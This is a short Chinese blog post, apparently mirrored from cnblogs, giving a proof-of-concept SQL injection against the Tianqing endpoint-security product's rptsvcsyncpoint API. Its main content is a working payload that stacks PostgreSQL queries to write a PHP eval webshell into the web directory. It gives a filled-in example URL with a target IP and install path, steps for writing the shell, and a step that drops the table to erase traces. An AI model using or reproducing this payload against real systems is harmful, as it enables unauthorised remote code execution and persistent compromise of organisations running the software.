zoukankan      html  css  js  c++  java
  • 天擎-前台SQL注入

    https://<IP>/api/dp/rptsvcsyncpoint?ccid=1';create table O(T TEXT);insert into O(T) values('<?php @eval($_POST[1]);?>');copy O(T) to '<目标文件写入路径>';drop table O;--
    

      

    本段PoC将首先创建新的数据库表,后将数据库内容更名为webshell的目标名,最后删除表清理痕迹。

     

    注入写Shell:

    https://192.168.24.196:8443/api/dp/rptsvcsyncpoint?ccid=1';create table O(T TEXT);insert into O(T) values('<?php @eval($_POST[1]);?>');copy O(T) to 'C:Program Files (x86)360skylar6www1.php';drop table O;--
    

      

    利用过程:

    1. 通过安装包安装的一般都有root权限,因此该注入点可尝试写shell

    2. 通过注入点,创建一张表 O

    3. 为 表O 添加一个新字段 T 并且写入shell内容

    4. Postgres数据库 使用COPY TO把一个表的所有内容都拷贝到一个文件(完成写shell)

    5. 删除 表O

  • 相关阅读:
    C++---使用类
    C++---函数
    C++---指针和引用
    C++---面向对象
    C++---数组
    C++---条件结构和循环结构
    C++---变量、数据类型和运算符
    C++---初识C++
    MySQL---什么是事务
    MySQL---char和varchar的区别
  • 原文地址:https://www.cnblogs.com/0day-li/p/14637777.html
Copyright © 2011-2022 走看看